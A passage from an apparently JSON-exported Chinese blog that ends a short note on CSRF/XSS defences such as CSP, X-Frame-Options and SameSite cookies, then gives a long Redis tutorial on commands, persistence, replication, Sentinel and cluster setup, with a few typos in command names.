其中img-src对应的指定图像或者图标的有效来源\n常用的有img-src，font-src，script-src，style-src等等\nCSRF\nX-Frame-Options：DENY/SAMEORIGIN\n可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值\nStrict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie\n中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）","title":"简单了解CSRF攻击和XSS攻击"},{"content":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026amp;\u0026amp;make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server \u0026ndash;port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a \u0026ldquo;root\u0026rdquo;\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes\n指定pid位置\npidfile /var/run/redis.pid\n数据库文件\ndbfilename xxx.rdb\n当客户端被闲置了多久关闭链接，0为关闭该功能\ntimeout 0\n存储到本地数据库的时候是否压缩数据，采用LZP压缩\nrdbcompression yes\n超时\ntimeout 300\n密码\nrequirepass root\nredis的通用命令\n遍历输出所有key\nKEYS *\n输出所有以r开头的key\nKEYS r*\n输出所有以ra或者rb，rc开头的key\nKEYS n[a-c]\n输出roo?，?号位占位\nKEYS roo?\nKEYS不推荐使用，因为KEYS命令的时间复杂度为O(n)\n输出key的总数（时间复杂度为O(1)，不需要读取全部key，redis会提供一个计数器来实时更新记录key的总数）\nDBSIZE\n判断一个key是否存在（真返回1，假返回0）\nEXISTS a\n删除指定key（可删除多个）\nDEL a b\n设置a将在10秒后过期\nEXPIRE a 10\n查询a将在多少秒后过期\nTTL a\n移除a的移除时间\nPERSIST a\n查询a的类型\nTYPE a\n上面几条命令除了KEYS不是O(1)外，其他都是O(1)\n清除全部数据（key）\nFLUSHALL\nRedis的命令执行是单线程（例如网络请求，数据操作）\n一次只能执行一条命令，如果某条命令执行过长时间，会导致阻塞\n字符串\n注意：key不要使用单引号双引号来表示双引号，没有必要\nname键存储字符串root\nSET name root\nname为键（key），root为name键的值（value）\n当key不存在时添加value值（存在则不进行操作）\nSET name 1 NX\n当key存在时添加value值\nSET name 1 XX\n设置key的过期时间（单位为秒，这里表示10秒钟，可使用TTL查看过期时间）\nSETEX name 10 1\n设置key的过期时间，单位为毫秒\nSET name 1 PX 1000\n获取name的值\nGET name\n删除name\nDEL name\n将a的值自增1\nGET a 1 INCR a\n将a的值自减1\nDECR a\n将a的值自增指定值，这里就是a的值加99\nINCRBY a 99\n将a的值自减指定值\nDECRBY a 99\n批量获取多个key\nMGET a b c\n批量设置多个key-value\nMSET a 1 b 2 c 3\n设置新的value，并且返回 旧的value\nGETSET a 1\n将新的value追加到旧的value中去\nAPPEND a 2\n输出字符串的长度（注意中文，一个中文占2个字节，时间复杂度也为O(1)）\nSTRLEN a\n增加key的值，如果a的值为1的话，就是1+3.14\nINCRBYFLOAT a 3.14\n输出0到2下标的字符串\nGETRANGE a 0 2\n将第4个下标的字符串修改b（因为字符串下标从0开始）\nSETRANG hallo 3 b\n上面指令中除了MGET和MSET外（为O(n)），时间复杂度都为O(1)\n哈希是键值对的集合，是字段和值之间的映射（field（就是字段）不能相同，而value允许相同）\n设置哈希表user（name为field，root为value） HSET user name root\n获取哈希表user中指定name字段的值 HGET user name\n获取哈希表user中的全部字段和值 HGETALL user\n删除哈希表user中的name字段 HDEL user name\n判断哈希表user中是否存在name字段 HEXISTS user name\n输出哈希表user中存在多少个字段 HLEN user\n一次添加多条字段（时间复杂度为O(n)） HMGET user name root pass 123\n一次获取多条字段的值（时间复杂度为O(n)） HMSET user name pass\n输出user中的全部字段和值（时间复杂度为O(n)） HGETALL user\n输出user的全部值（时间复杂度为O(n)） HVALS user\n输出user中的全部字段（时间复杂度为O(n)） HKEYS user\n列表（有序，可重复，左右两端都可以插入值）\n将值插入hallo列表的最左端中（根据插入的个数决定时间复制度，实质效果就是 c b a，因为是从左端插入的） LPUSH hallo a b c\n值将从hallo列表的最右端中插入（根据插入的个数决定时间复制度） RPUSH hallo a b c\n在指定值之前插入一个新的值，这个表示b插入到a的前面 (时间复杂度为O(n)) LINSERT hallo BEFORE a b\n在指定值之后插入一个新的值，这个表示b插入到a的后面 (时间复杂度为O(n)) LINSERT hallo AFTER a b c\n从左边移除一个key LPOP hallo\n从左边移除一个key RPOP hallo\n删除全部于a值相等的（为0是相等，大于0为从列表的最右边删除以a值相等的指定数据的值（例如LREM hallo 1 a，就是从右侧（列表底部）删除1个和a值相等的值（因为列表允许存在重复的值，可用于去重）），小于0为从列表的最左侧删除于a值的值（例如-1就是删除最左侧删除和a值的相等的1个值（绝对值））） LREM hallo 0 a\n栽剪1到3的值（0以及3之后的值将被移除） LTRIM hallo 1 3\n查询0到5的值，正值是从左到右获取（从0开始），负数就是从右到左查（-1开始）（O(n)） LRANGE hallo 0 5\n获取指定索引的值(O(n)) LINDEX hallo 0\n获取列表的长度 LLEN hallo\n设置1索引的值为a LSET hallo 1 a\n获取列表的第一个元素（最左边）（会输出第一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BLPOP hallo 10\n删除列表的最后一个元素（最右边）（会输出最后一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BRPOP hallo 10\n\u0026ndash;\n集合（无序集合，集合的特定就是没有重复元素，集合是利用哈希表实现的，因此添加，删除，查找的复杂度都是O(1)）\nSADD hallo abc\nSADD hallo xyz\n删除集合（将abc从hallo集合中删除）\nSREM hallo abc\n输出指定集合中的元素个数\nSCARD hallo\n判断\u0026rsquo;abc\u0026rsquo;是否存在于hallo集合中（真返回1，假返回0）\nSISMEMBER hallo \u0026lsquo;abc\u0026rsquo;\n随机输出指定集合的元素，其中count参数是随机输出几个元素\nSRANDMEMBER hallo count = 2\n输出指定集合的全部元素\nSMEMBERS hallo\n查找第一个集合和其他集合之间不相同的元素（差集）\nSDIFF hallo hhh\n将多个集合之前不相同元素存储到另一个集合中去，例子中是将hallo和hhh集合中不相同的元素存储到abcxyz集合中去\nSDIFFSTORE abcxyz hallo hhh\n输出指定集合中的相同的元素（交集，指定集合中存在相同的元素）\nSINTER hallo hhh\n输出指定集合的并集，就是将多个集合合并成一个集合\nSUNION hallo hhh\n随机从集合种移除指定个数的元素，如果不指定个数，默认移除1个元素\nSPOP hallo 2\n有序集合（根据第二个参数（分数）来排序）（ZADD时间复杂度为O(logN)）\nZADD hallo 0 abc\nZADD hallo 1 xyz\n删除指定元素（可多个） ZREM hallo abc\n获取abc的分数 ZSCORE hallo abc\n增加或者减少abc的分数，这里是加1（负数为减） ZINCRBY hallo 1 abc\n获取hallo的元素个数 ZCARD hallo\n获取abc在hallo中的排名（从0开始，正序，从小到大的排名） ZRANK hallo abc\n逆序排序（从大到小，例子是表示逆序输出得到为0到5之间的集合元素）\nZRANGEBYSCORE hallo 0 5\n逆序排序输出集合的全部元素\nZREVRANGEBYSCORE hallo +inf -inf\n正序输出分数在0到10之间的元素\nZRANGEBYSCORE hallo 0 10 WITHSCORES\n有序输出集合的全部元素，WITHSCORES参数为输出时携带得分\nZRANGE hallo 0 -1 WITHSCORES\n有序输出集合的索引为0到5之间的元素（第一个到第六个元素，-1表示最后一个元素，-2是最后面的第2个元素，以此类推）\nZRANGE hallo 0 5 WITHSCORES\n获取hallo集合中分数0到100的元素有多少个\nZCOUNT hallo 0 100\n将分数排名第一个的元素到第三个元素移除 ZREMRANGEBYRANK hallo 0 2\n将分数100到300之间的元素移除 ZREMRANGEBYSCORE hallo 100 300\n获取abc在hallo中的排名（逆序，从大到小的排名，排位0的值的分数最大） ZREVRANK hallo abc\n获取hallo中第一个元素到第三个元素的值（带分数），先根据分数从大到小排序，再获取 ZREVRANGE hallo 0 2 WITHSCORES\n获取指定有序集的交集（这里3表示有序集中存在4个值，就是每个有序集提供4个值，这里指定了2个有序集，就是4+4，hallo交集中就有8个值），并且存储到hallo交集中 ZINTERSTORE hallo 3 xyz hhh\n获取指定有序集的并集（其中WEIGHTS后面的参数分别表示对应有序集的乘法因子，例如xyz中第一个元素得分为2，那么就是2x2，就是4，而这个4被做为该值的得分传入到新的hallo并集中，并集将集合合并在一起，AGGREGATE后面的参数表示集合的聚合方法，默认为SUM（就是将所有指定集合中的某个元素的分数的和作为并集中该成员的分数，简单来说就是将集合中相同元素的分数相加，得到的和作为并集，也就是新创建的集合中作为该元素的分数），除了SUM外还有MIN（获取全部集合中相同元素的得分取自这些相同元素中最小的得分作为新集的该元素的得分），MAX（获取全部集合中相同元素的得分取自这些相同元素中最大的得分作为新集的该元素的得分）） ZUNIONSTORE hallo 3 xyz hhh WEIGHTS 2 3 AGGREGATE MIN\n慢查询（特点：先进先出队列，固定长度，保存于内存中）\n慢查询就是寻找长时间执行的命令，并且将该命令存储在日志中，慢查询只能记录命令执行的时间\n慢查询利用2个参数来实现的，这2个参数分别为slowlog-max-len和slowlog-log-slower-than\n其中slowlog-log-slower-than是记录执行超过指定时间的命令，单位为微秒，默认值为10000\nslowlog-max-len是限制慢查询日志的条数（慢查询日志的数据结构为列表，默认值为128，因为该慢查询日志是存储在内存中，重启redis会丢失日志的记录）\n当慢查询日志达到阈值时，如果还继续添加新的慢查询进来，将会将当前日志中最早的慢查询删除（先进先出）\n通过SOLWLOG GET命令查看慢查询日志\n慢查询日志的结构有6个值来表示1个慢查询，分别为慢查询的唯一ID，该命令执行的时间戳，慢查询的命令和参数，客户端地址和端口，客户端名称（通过client setname设置）\n查看存在多少条慢查询\nSOLWLOG LEN\n获取指定多少条慢查询\nSOLWLOG GET 1\n清除慢查询的全部记录\nSOLWLOG RESET\npipeline流水线机制\nredis的命令执行由发送命令，再到命令进行排队（无法确定下个执行的命令是哪个），命令执行，最后返回结果\n这个命令的过程又叫Round trip time，RTT，往返时间\npipeline流水线机制就是减少RTT的\npipeline就是将命令一次性通过网络获取多条命令，然后再执行多条命令（打包组装）\n注意：原生批命令(mset, mget)是原子性，而pipeline是非原子性，而且应该也必须限制pipeline的执行命令的个数\n发布订阅\n发布1到hallo频道中去 PUBLISH hallo 1\n订阅hallo频道 SUBSCRIBE hallo\n取消订阅hallo频道 UNSUBSCRIBE hallo\n订阅全部以h开头的频道（定义模式） PSUBSCRIBE h*\n取消订阅全部以h开头的定义 PUNSUBSCRIBE h*\n查看至少有一个订阅的频道并且要以h开头（也就是活跃的频道） PUBSUB CHANNELS h\n输出指定频道的订阅数 PUBSUB NUMSUB hallo\n输出当前订阅模式的数量 PUBSUB NUMPAT\nBitmap位图（位图就是位的映射，使用一个bit位来表示某个元素的值）\n位图的每个值只占用一个bit位，位图本质上还是字符串类型\n1个字节由8个二进制位表示，例如字符串a的二进制为01100001\n创建hallo位图 SET hallo a\n查询b字符的八位二进制码（得到01100010） BIN(ORD(\u0026lsquo;b\u0026rsquo;))\n将a值改为b，只需要将最后一位改为0，倒数第二位改为1，例如：\n给hallo位图的最后一位设置0值 SETBIT hallo 7 0\n给hallo位图的倒数第二位设置1值 SETBIT hallo 6 1\n通过执行GET hallo命令，可以看到已经变成了b\n获取hallo位图中第一位的值 GETBIT hallo 0\n获取hallo位图中第一位到第八位之间值为1的个数（如果不指定就是获取整个位图中值为1的个数） BITCOUNT hallo 1 8\n将abc位图和xyz位图交集，并且将得到的新集存储在hallo位图中（and交集，or并集，not非集，xor异或集） BITOP AND hallo abc xyz\n获取hallo位图中中第一位到第八位之间第一个值为1位置（偏移量） BITPOS hallo 1 1 8\nhyperloglog\nhyperloglog（使用极小的空间来完成计数，本质还是字符串，特点就是输入的数量很多或者值有多大，占据的空间都是固定的（一个HyperLogLog键只使用12KB内存））\n向hyperloglog添加值 PFADD hallo a b c\n查看hyperloglog中存在多少个值（注意：返回的是基数，就是hyperloglog中存在相同的值时，会被忽略） PFCOUNT hallo\n合并2个（也可多个）hyperloglog到hallo PFMERGE hallo abc xyz\nhyperloglog的缺点就是错误率高（官方提供的错误率值是0.81%），无法获取单个数据\ngeo\nGEO（地理信息定位），用于存储经纬度，计算两地距离，范围计算等等\n添加经纬度到hallo（guangzho是标识） GEOADD hallo 113.27 23.13 guangzho GEOADD hallo 114.07 22.62 shenzheng\n从GEO获取经纬度 GEOPOS hallo guangzho\n获取两个经纬度之间的距离（m米，km千米，mi英里，ft尺） GEODIST hallo shenzheng guangzho\n获取guangzho附近1000千米的标识信息 GEORADIUS hallo guangzho 1000km\n持久化（redis数据存储于内存中，持久化功能可将数据的更新异步存储在硬盘中）\nRDB（快照），AOF（日志）\n持久化的RDB和AOF\nRDB（redis database）：Redis默认持久化策略，通过内存快照来实现持久化\nRDB有3种模式，一个是通过sava命令来同步触发redis进行RDB文件（RDB文件是二进制文件）生成，另一种就是通过bgsave命令来异步进行持久化文件RDB生成（该命令会让redis server fork一个子进程来进行该操作，这样主进程可以继续处理请求，不会阻塞），最后一个就是通过redis.conf配置文件来配置RDB自动生成，例如save 900 1，这个命令表示900秒内执行了一次set命令就生成一次RDB持久化文件（自动触发）\n注意：如果之前存在RDB文件，执行sava命令，会生成一个新的RDB文件去覆盖这个老的RDB文件\n触发第一种模式很简单，就执行sava命令（时间复杂度为O(n)），redis接收该命令，就会立刻去创建生成RDB文件\n触发第二种模式，也很简单，也是就执行bgsave命令（时间复杂度为O(n)），不过redis接收该命令后会利用Linux的fork()函数来生成一个子进程，让这个子进程来处理生成RDB文件\nsave和bgsave的区别就是，save会阻塞命令的执行，bgsave需要另一个进程来处理（消耗内存）\n第三种模式通过配置文件来自动触发，当满足条件时，创建RDB文件是通过bgsave命令完成的\n配置文件参数还有dbfilename（来表示rdb文件名，必须是.rdb后缀），以及上面提到的dir（来表示rdb持久化文件放到哪个文件夹中），stop-writes-on-bgsave-error（如果bgsave命令发生错误是否停止写入，yes或者no），rdbcompression（rdb文件是否使用压缩模式），rdbchecksum（是否对rdb文件进行检验操作）\n恢复数据也很简单，将ADB文件放到redis安装目录下，然后重启（redis会在启动的时候根据RDB文件来恢复数据），可执行CONFIG GET dir来得到redis安装目录地址\nRDB的缺点就是耗时（生成RDB文件慢，因为需要复制全部数据，时间复杂度是O(n)），内存消耗大（fork进程），硬盘资源消耗大（当数据很庞大时），而且不可控制（无法指定什么时间备份），存在丢失数据的风险（当自动备份没有触发，而且也没有手动触发时宕机，就会导致数据丢失了）\nAOF（每执行一次写命令（例如：SET，HMSET，SADD），就会将该命令存储在AOF文件中，类似于MySQL的sql备份）\n通过redis.conf配置文件来配置AOF，appendonly（是否启动AOF持久化模式），appendfilename（AOF持久化文件名称，必须是.aof后缀），appendfsync（AOF的三种持久化策略：always（每次执行写命令时间都会将该命令同步到AOF可持久化文件中），everysec（每秒将缓存区中的命令同步到AOF可持久化文件中），no（不需要将缓存区的命令同步到AOF可持久化文件中，让操作系统来决定什么时候同步，Linux系统默认30秒将缓存区数据写入）），no-appendfsync-on-rewrite（表示是否在同步期间对新写命令不进行同步，先将其存储在缓存区，等同步完成在写入，如果no的话，会阻塞appendfsync，如果设置yes可能存在会丢失数据的风险（新写命令没有持久化，Linux默认每隔30秒执行一次缓存区同步到硬盘的操作）），auto-aof-rewrite-percentage（因为AOF是使用追加的方式的，因此AOF可持久化文件会越来越大，因此存在AOF重写机制（简化AOF文件里面命令，例如去除过期命令，将多条命令合并成1条命令等等，得到新的AOF后，将老的删除，写入新的），当满足某个阀值时，会启动AOF重写，该参数是表示当前AOF文件大小是上次的大小的多少倍触发（单位为百分比，100就是指一倍），auto-aof-rewrite-min-size（当AOF大于该阀值时触发，例如64mb），aof-load-truncated（因为AOF文件可能是不完整的（宕机或者异常导致的不完整），表示是否在恢复数据时自动进行AOF修复操作，no表示不，需要手动redis-check-aof修复，yes表示是的），dir参数和RDB介绍一样的作用（AOF文件存储在哪个目录）\n手动修复命令redis-check-aof \u0026ndash;fix\n手动AOF重写命令bgrewriteaof（执行到该命令会让redis服务器fork一个子进程来进行AOF重写操作，不会阻塞命令执行，而且只有当完成之后创建一个新的AOF文件来覆盖老的AOF文件（不存在bgrewriteaof命令执行失败后，导致数据丢失的情况，必须时执行成功后再覆盖））\n注意：auto-aof-rewrite-percentage和auto-aof-rewrite-min-size，必须都满足这2个设置的阀值才会重写（避免AOF文件很小也导致触发）\n注意：每次执行写命令时间并不会立刻同步到AOF可持久化文件中去，而是先写入缓存区，再根据策略来同步到AOF可持久化文件，每个策略都有自己的缺点和优点，always不怕丢数据，但是IO消耗大，everysec对硬盘友好，但是存在丢失那1秒数据的风险，no不可控制什么时候同步，但是性能高\nAOF恢复数据和RDB一样，将AOF文件放到Redis安装目录下\n优化fork\nfork()操作是同步的，内存越大耗时越慢，可通过latest_fork_usec命令查看最近一次fork操作的耗时（单位微秒）来进行排查，例如：redis-cli info latest_fork_usec\nmaxmemory配置Redis实例最大可用内存，例如：CONFIG SET maxmemory 100MB或者修改redis.conf的maxmemory参数\n通过配置Linux内存分配策略，例如：vm.overcommit_memory = 1（1表示内核允许超量使用内存，直到用完，0表示内核会检查是否还有足够的内存，如果有则对内存申请通过，否则失败，2表示内核不会超量使用内存，整个内存空间不会超过swap+50%的RAM，课外小知识：Linux内核会批准大部分的申请内存的请求，但是分配到了内存后，不能使用内存，只有当内存赋值时才分配内存，这个技术叫overcommit，如果策略允许超量使用时，也就是允许overcommit，当内存分配不足时，会导致OOM killer，通过杀死用户态进程来释放内存）\n通过提高AOF或者RDB自动触发生成的阀值来降低fork的频率，非不必要时不进行自动触发\n优化子进程\nCopy on write机制：fork会创建一个除了pid不同外和父进程完全相同的子进程，但是这些数据是对子进程无用的（因为子进程使用exec()来实现自己的功能时，会清空这些数据），Copy On Write可以让子进程和父进程共享内存空间（直接引用父进程的内存空间，这样子进程更轻量化了，实质上在没有exec()之前，子进程和父进程使用的是同一块物理内存，只是虚拟内存不同，当exec之后，才会给子进程分配一个独立的物理内存）\n该机制的优点就是减少不必要的内存分配，缺点是当fork之后父进程或者子进程进行写操作，会导致页异常中断（page-fault），因为这个时候子进程和父进程都还是同一块物理内存，最后因为复制数据导致资源浪费\nAOF追加阻塞（everysec策略，每1秒进行一次同步操作）\n因为主线程会对比AOF的同步时间，如果上一次同步时间在2秒，则正常，超过2秒后，主线程将会导致阻塞，一直到同步操作完成，因此everysec策略最多可以丢2秒的数据\n主从复制（提供数据副本（数据灾备），扩展读性能（读写分离））\n从节点复制主节点的数据（一从一主或者一主多从）\n主从复制配置（有2种）\nslaveof命令（在从节点中运行该命令，例如slaveof 192.168.1.2 6379，就能复制主节点192.168.1.2:6379的数据了，而且主节点的数据更新都能同步到从节点中）\n将该节点取消从节点 slaveof no one\n配置（redis.conf）\n配置主节点 slaveof 192.168.1.2 6379\n如果需要设置从连接主的密码，需要设置masterauth参数，例如masterauth \u0026ldquo;123456\u0026quot;或者执行命令config set masterauth \u0026ldquo;123456\u0026rdquo;\n如果需要设置密码，可以设置requirepass参数，例如requirepass \u0026ldquo;123456\u0026quot;或者执行命令config set requirepass \u0026ldquo;123456\u0026rdquo;\n如果想设置从节点只读，可以设置slave-read-only yes，如果设置no，写入的数据也会在主从同步完成后被删除\n全量复制和部分复制\n全量复制就是将主节点的全部数据一次性发送给从节点复制\n部分复制就是主从复制过程导致数据丢失了，从节点在连接到主节点后，主节点可以将丢失的数据发送给从节点，从而避免全量复制的过高的资源消耗\nrunid（redis服务器的标识符（用于区分redis服务器），一重启redis服务器后runid都会发生改变）\n可通过info server | grep run命令来查看\n复制偏移量就是命令的字节长度，可以用于判断主从节点数据是否一致，可使用info replication命令查看\n主节点会记录自身的复制偏移量（master_repl_offset，可通过info replication查看），从节点也会每秒将自身的复制偏移量发送给主节点（slave的offset），这样主节点就可以记录从节点的复制偏移量\nSentinel架构（不可存储数据，对redis节点的故障判断，故障master转移处理以及通知客户端该节点状态）\n故障转移：当多个sentinel发现master存在故障，会通过选举算法选举出一个sentinel，然后该sentinel会选择一个slave从节点来当master主节点，最后通知其他slave从节点成为该新的master的从节点并且通知客户端主从节点的变化（如果出现故障的master恢复后会成为新的master的从节点）\n安装Sentinel和配置\n开启主从节点，然后开启Sentinel监控主节点\nSentinel配置文件（sentinel.conf，redis配置文件的参数可用于Sentinel配置文件（例如port，dir都是可以的，Sentinel就是特殊的redis））\nsentinel monitor hallomaster 127.0.0.1 6379 2 sentinel down-after-milliseconds hallomaster 30000 sentinel parallel-syncs hallomaster 1 sentinel failover-timeout hallomaster 180000 第一行是该Sentinel监控的master节点的信息，hallomaster是master节点名称，master节点IP，master节点的端口，以及当多少个Sentinel认定该master节点存在故障时进行故障转移\n第二行Sentinel监控master节点故障多少毫秒后认定故障\n第三行表示发送故障转移时最多能有几个从节点对新的master进行同步（越少，新的master压力越小）\n第四行表示故障转移时最多允许多少毫秒，当超过时，认定故障转移失败\n启动Sentinel监控节点\nredis-sentinel redis-sentinel.conf 注意：因为选举算法的原因，Sentinel监控节点最少要有3个，如果只有2个Sentinel监控节点，发生故障，因为投票机制问题（要选一个Sentinel监控节点来当Sentinel监控主节点，让这个Sentinel监控节点来确定哪个从节点来当主节点），只有当Sentinel监控集群超过一步的节点检测失效才会生效，而且Sentinel监控节点也发生故障了，导致故障转移无法生效，而且Sentinel监控节点数最后是奇数，避免投票偶数出现相同票数的情况\nSentinel监控节点定时任务\nSentinel监控节点每10秒对master和slave执行info（用来发现slave以及主从关系的确认），每2秒对master节点的channel进行交换信息（订阅发布，频道名为__sentinel__:hello），每1秒对其他Sentinel以及redis主从节点执行ping\n客观下线和主观下线，以及领导者选举\n客观下线\nsentinel monitor hallomaster 127.0.0.1 6379 2\n主观下线\nsentinel down-after-milliseconds hallomaster 30000\n当主观下线条件满足后，会执行sentinel is-master-down-by-addr命令来询问其他Sentinel监控节点是否确定master已经下线了\nsentinel is-master-down-by-addr 127.0.0.1 6379 0 *\n每个做主观下线的Sentinel监控节点向其他Sentinel监控节点发送该命令，并且要求设置该为领导者\n如果接收该命令的Sentinel监控节点没有同意过其他Sentinel监控节点的请求，那么将同意，否则拒绝（在周期内）\n如果Sentinel监控节点发现自己的票超过了Sentinel集合的半数，并且也是超过了客观下线的条件时，该监控节点成为领导者\n如果有多个Sentinel监控节点成为领导者，将会在一段时间后重新选举\n领导者节点会从slave节点中选择一个来当master节点，对该slave节点执行slaveof no one命令来让它成为新的master节点，然后对其他slave节点发送命令，来让其成为新的master节点的slave节点\n然后对故障的master节点配置为slave节点，并且进行监控，当其恢复则发送命令让其去复制新的master节点\n领导者节点选择slave节点当master节点的机制\n选择slave-priority（slave节点优先级）最高的slave节点，存在返回，不存在继续选择\n选择复制偏移量最大的slave节点（复制master节点最完成的），存在返回，不存在继续选择\n选择runID最小的slave节点（也就是最早的slave节点）\n手动故障转移master节点（当需要对master节点进行下线之前的操作）\nsentinel failover hallomaster\nredis cluster\nCluster（集群，解决QPS（或者OPS）无法满足业务需求，硬件无法满足业务需求）\n数据分区（常用的有顺序分区，哈希分区）\n顺序分区：按照顺序（id或者时间等等顺序）进行划分Redis实例，缺点是数据分布不均匀\n哈希分区：具有随机性，数据分布均匀，缺点是无法进行顺序访问\n哈希分区有节点取余分区，一致性哈希分区，虚拟槽分区\n节点取余分区，一致性哈希分区都是客户端分片，在客户端进行计算\n节点取余分区：hash(key)%nodes，优点：简单，缺点：增加或者减少节点需要重新计算来重新映射（推荐采用翻倍扩容来降低影响），重新计算将导致重新计算数据偏移量，节点数越多，花费的时间越长\n一致性哈希分区：hash(key)%2^32，将哈希构造成一个0~2^32的token环形结构，节点的范围在该环形结构内，因为该数值足够大，增加或者减少节点不会导致重新计算哈希的问题\n数据哈希化后，会根据顺时针方向来寻找自己的node节点（简单来说就是将全部数据构造成一个环形，分区就跟切蛋糕一样，该蛋糕是该node节点的，那个蛋糕是那个node节点的）\n增加或者减少节点，将导致数据范围减少或者增加，但是不会像节点取余分区一样，需要重新计算，重新分配数据，数据的偏移量和节点数有关，节点数越多，数据的偏移量越少（10个节点，数据的偏移量只有10%，100个节点，数据的偏移量只有1%），只会影响邻近节点（也可使用翻倍伸缩）\n虚拟槽分区（客户端计算hash，在服务端进行管理节点，槽以及数据）：Redis内置了16384个槽，每个槽都可映射成单个节点（当然节点不可能用这么多，一般都是节点使用多个槽，将16384个槽平均分配给每个节点，CRC16(key)\u0026amp;16383，每个节点都知道自己负责哪个槽，其他节点负责哪个槽（共享节点信息））\n搭建集群\n集群的部署有原生命令部署和官方工具（redis-trib.rb）部署这2种\n原生命令安装\n配置redis文件（redis-192.168.1.2.conf）\ncluster-enabled yes cluster-config-file nodes-192.168.1.2.conf cluster-node-timeout 15000 cluster-require-full-coverage no cluster-enabled yes表示该redis节点是集群的节点，cluster-config-file为集群运行时，记录该节点的配置以及其他节点的信息状态等等，cluster-node-timeout表示集群中节点失联的最大时间（单位为毫秒），当超过该时间会认定其故障，cluster-require-full-coverage表示是否需要集群的全部节点服务（也就是说为yes时如果只有一个节点故障了，那么这个集群就不可用了）\n开启redis\nredis-server redis-192.168.1.2.conf 添加集群节点（只需要在一个节点上配置，因为节点之间存在通信交互，当a节点和b节点连接后，a又和c节点连接，b节点知道c节点的存在后彼此感知着对方）\ncluster meet 192.168.1.2 6379 分配槽（必须将0到16383的16384个槽全部分配完才能处于上线工作状态，这里设置了3个集群主服务）\n192.168.1.2 cluster addslots {0\u0026hellip;5461}\n192.168.1.3 cluster addslots {5462\u0026hellip;10922}\n192.168.1.4 cluster addslots {10923\u0026hellip;16383}\n设置主从关系（故障转移，集群复制，这里是3个主节点和3个从节点来保证高可用）\n192.168.1.5 cluster replicate 主节点的node-id\n192.168.1.6 cluster replicate 主节点的node-id\n192.168.1.7 cluster replicate 主节点的node-id\nnode-id通过cluster nodes命令获取\n查看集群节点的状态\ncluster info 查看集群节点的槽分配情况\ncluster slots 测试集群上线情况（-c是以集群模式连接）\nredis-cli -c -p 6379 set hallo word 返回ok则认为集群已上线\n集群伸缩\n通过分配槽的16384个槽来进行集群的伸缩\n伸：当需求得不到满足时，添加新节点进来 缩：当不需要这个节点时或者这个节点故障了，移除该节点，下线\n原理就是数据和槽在节点的迁移\n扩容节点\n创建新的节点，这个节点还是孤立节点，需要加入到集群\ncluster meet 192.168.1.10 6385\n查看加入集群是否成功\ncluster nodes\n加入集群后因为没有分配槽，是不进行工作的\n迁移数据和槽\n计算，平均槽数量\n配置主从（新加入的节点设置为从节点）\ncluster replicate 主节点的id\n如果需要配置该节点为主节点，可以\ncluster meet 196.168.1.10 6385\n迁移数据非常麻烦，这里使用redis-trib.rb来完成\nredis-trib.rb是redis官方推出的redis集群管理工具（因为是用ruby编写成的工具，需要安装ruby和rubygem redis客户端）\n安装redis-trib.rb\n安装ruby（redis-trib.rb依赖于ruby）\n使用编译源码的方式来安装ruby\nhttps://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz\n安装redis模块\ngem install redis\nredis-trib.rb实质上在redis源码的src目录里，可以拷贝redis-trib.rb到/usr/bin目录下，或者创建一个软链接都可以\n分配槽数据\nredis-trib.rb reshard 192.168.1.2:6385\n它会问你进行迁移多少个槽，1到16384，根据需求进行分配\n然后问你槽迁移到哪个节点，提供节点ID\n最后它问你源节点的id是什么，如果使用all，将表示全部节点都作为分配槽的源节点，当然也可以指定源节点，只需要输入其节点id即可，输入完毕后输入done完成\n它问你操作是否确认，无误yes，有误请no，输入完毕后就会进行迁移\n收缩集群\n下线节点持有槽进行迁移，通知其他节点忘记该下线节点，下线节点\n忘记节点可通过cluster forget 